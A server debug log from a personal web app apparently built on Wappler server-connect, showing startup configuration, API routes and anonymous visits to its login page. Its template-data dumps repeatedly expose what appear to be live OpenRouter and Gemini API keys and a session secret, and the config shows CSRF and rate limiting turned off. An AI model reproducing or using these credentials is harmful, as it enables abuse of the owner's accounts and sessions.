2026-07-07T18:48:02.545Z server-connect:auth No login cookie found
2026-07-07T18:48:02.545Z server-connect:output identity: false
2026-07-07T18:48:02.545Z server-connect:app Executing action step restrict
2026-07-07T18:48:02.545Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-07T18:48:02.546Z server-connect:output restrict: undefined
2026-07-07T18:48:02.731Z server-connect:router Serving templateView /login
2026-07-07T18:48:02.731Z server-connect:app Executing action step identify
2026-07-07T18:48:02.732Z server-connect:app options: { provider: 'security' }
2026-07-07T18:48:02.732Z server-connect:auth No login cookie found
2026-07-07T18:48:02.732Z server-connect:output identity: false
2026-07-07T18:48:02.732Z server-connect:router Render template layouts/authentication
2026-07-07T18:48:02.733Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '35.80.13.202',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-08T18:48:02.731Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.80.13.202',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '35.80.13.202',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-08T09:37:36.131Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-08T09:37:38.400Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-08T09:37:39.264Z server-connect:setup:upload Upload middleware configured.
2026-07-08T09:37:39.265Z server-connect:secure CSRF Protection initialized
2026-07-08T09:37:39.269Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-08T09:37:39.272Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-08T09:37:39.273Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-08T09:37:39.275Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-08T09:37:39.281Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-08T09:37:39.287Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-08T09:37:39.298Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-08T09:37:39.312Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-08T09:37:39.316Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-08T09:37:39.318Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-08T09:37:39.322Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-08T09:37:39.326Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-08T09:37:39.332Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-08T09:37:39.342Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-08T09:37:39.345Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-08T09:37:39.416Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-08T09:37:39.417Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-08T09:37:39.422Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-08T09:37:39.427Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-08T09:37:39.432Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-08T09:37:39.432Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-08T09:37:39.440Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-08T09:37:39.444Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-08T09:37:39.449Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-08T09:37:39.452Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-08T09:37:39.456Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-08T09:37:39.456Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-08T09:37:39.460Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-08T09:37:39.464Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-08T09:37:39.468Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-08T09:37:39.468Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-08T09:37:39.470Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-08T09:37:39.474Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-08T09:37:39.476Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-08T09:37:39.483Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-08T09:37:39.486Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-08T09:37:39.488Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-08T09:37:39.498Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-08T09:37:39.986Z server-connect:router Serving templateView /
2026-07-08T09:37:39.988Z server-connect:app Executing action step identify
2026-07-08T09:37:39.988Z server-connect:app options: { provider: 'security' }
2026-07-08T09:37:39.990Z server-connect:auth No login cookie found
2026-07-08T09:37:39.991Z server-connect:output identity: false
2026-07-08T09:37:39.991Z server-connect:app Executing action step restrict
2026-07-08T09:37:39.991Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-08T09:37:39.995Z server-connect:output restrict: undefined
2026-07-08T09:37:40.207Z server-connect:router Serving templateView /login
2026-07-08T09:37:40.207Z server-connect:app Executing action step identify
2026-07-08T09:37:40.207Z server-connect:app options: { provider: 'security' }
2026-07-08T09:37:40.208Z server-connect:auth No login cookie found
2026-07-08T09:37:40.208Z server-connect:output identity: false
2026-07-08T09:37:40.208Z server-connect:router Render template layouts/authentication
2026-07-08T09:37:40.208Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'accept-encoding': 'gzip,br',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.9,ar;q=0.8',
    'upgrade-insecure-requests': '1',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'sec-fetch-dest': 'document',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-site': 'none',
    'sec-fetch-user': '?1',
    pragma: 'no-cache',
    'x-forwarded-for': '38.253.224.30',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-09T09:37:40.205Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '38.253.224.30',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,ar;q=0.8',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-USER': '?1',
    HTTP_PRAGMA: 'no-cache',
    'HTTP_X_FORWARDED-FOR': '38.253.224.30',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-08T15:37:39.851Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-08T15:37:42.125Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-08T15:37:42.987Z server-connect:setup:upload Upload middleware configured.
2026-07-08T15:37:42.988Z server-connect:secure CSRF Protection initialized
2026-07-08T15:37:42.993Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-08T15:37:42.995Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-08T15:37:42.997Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-08T15:37:42.998Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-08T15:37:43.009Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-08T15:37:43.010Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-08T15:37:43.022Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-08T15:37:43.036Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-08T15:37:43.040Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-08T15:37:43.041Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-08T15:37:43.043Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-08T15:37:43.048Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-08T15:37:43.053Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-08T15:37:43.063Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-08T15:37:43.067Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-08T15:37:43.137Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-08T15:37:43.139Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-08T15:37:43.142Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-08T15:37:43.149Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-08T15:37:43.154Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-08T15:37:43.154Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-08T15:37:43.162Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-08T15:37:43.164Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-08T15:37:43.172Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-08T15:37:43.172Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-08T15:37:43.176Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-08T15:37:43.178Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-08T15:37:43.181Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-08T15:37:43.187Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-08T15:37:43.187Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-08T15:37:43.191Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-08T15:37:43.191Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-08T15:37:43.196Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-08T15:37:43.199Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-08T15:37:43.207Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-08T15:37:43.211Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-08T15:37:43.211Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-08T15:37:43.221Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-08T15:37:43.892Z server-connect:router Serving templateView /
2026-07-08T15:37:43.894Z server-connect:app Executing action step identify
2026-07-08T15:37:43.895Z server-connect:app options: { provider: 'security' }
2026-07-08T15:37:43.897Z server-connect:auth No login cookie found
2026-07-08T15:37:43.897Z server-connect:output identity: false
2026-07-08T15:37:43.897Z server-connect:app Executing action step restrict
2026-07-08T15:37:43.897Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-08T15:37:43.898Z server-connect:output restrict: undefined
2026-07-08T15:37:44.076Z server-connect:router Serving templateView /login
2026-07-08T15:37:44.076Z server-connect:app Executing action step identify
2026-07-08T15:37:44.076Z server-connect:app options: { provider: 'security' }
2026-07-08T15:37:44.077Z server-connect:auth No login cookie found
2026-07-08T15:37:44.077Z server-connect:output identity: false
2026-07-08T15:37:44.077Z server-connect:router Render template layouts/authentication
2026-07-08T15:37:44.077Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '32.184.20.15',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-09T15:37:44.075Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '32.184.20.15',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '32.184.20.15',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-07-09T12:52:01.714Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-09T12:52:03.922Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-09T12:52:04.786Z server-connect:setup:upload Upload middleware configured.
2026-07-09T12:52:04.786Z server-connect:secure CSRF Protection initialized
2026-07-09T12:52:04.791Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-09T12:52:04.793Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-09T12:52:04.794Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-09T12:52:04.797Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-09T12:52:04.803Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-09T12:52:04.808Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-09T12:52:04.820Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-09T12:52:04.833Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-09T12:52:04.838Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-09T12:52:04.840Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-09T12:52:04.842Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-09T12:52:04.846Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-09T12:52:04.852Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-09T12:52:04.861Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-09T12:52:04.865Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-09T12:52:04.938Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-09T12:52:04.939Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-09T12:52:04.944Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-09T12:52:04.949Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-09T12:52:04.953Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-09T12:52:04.955Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-09T12:52:04.963Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-09T12:52:04.965Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-09T12:52:04.971Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-09T12:52:04.973Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-09T12:52:04.977Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-09T12:52:04.979Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-09T12:52:04.983Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-09T12:52:04.988Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-09T12:52:04.990Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-09T12:52:04.992Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-09T12:52:04.994Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-09T12:52:04.998Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-09T12:52:05.000Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-09T12:52:05.007Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-09T12:52:05.010Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-09T12:52:05.013Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-09T12:52:05.022Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-09T13:17:17.505Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-09T13:17:18.238Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-09T13:17:18.990Z server-connect:setup:upload Upload middleware configured.
2026-07-09T13:17:18.991Z server-connect:secure CSRF Protection initialized
2026-07-09T13:17:18.992Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-09T13:17:18.994Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-09T13:17:18.995Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-09T13:17:18.995Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-09T13:17:18.999Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-09T13:17:19.005Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-09T13:17:19.018Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-09T13:17:19.031Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-09T13:17:19.032Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-09T13:17:19.035Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-09T13:17:19.038Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-09T13:17:19.039Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-09T13:17:19.044Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-09T13:17:19.055Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-09T13:17:19.056Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-09T13:17:19.064Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
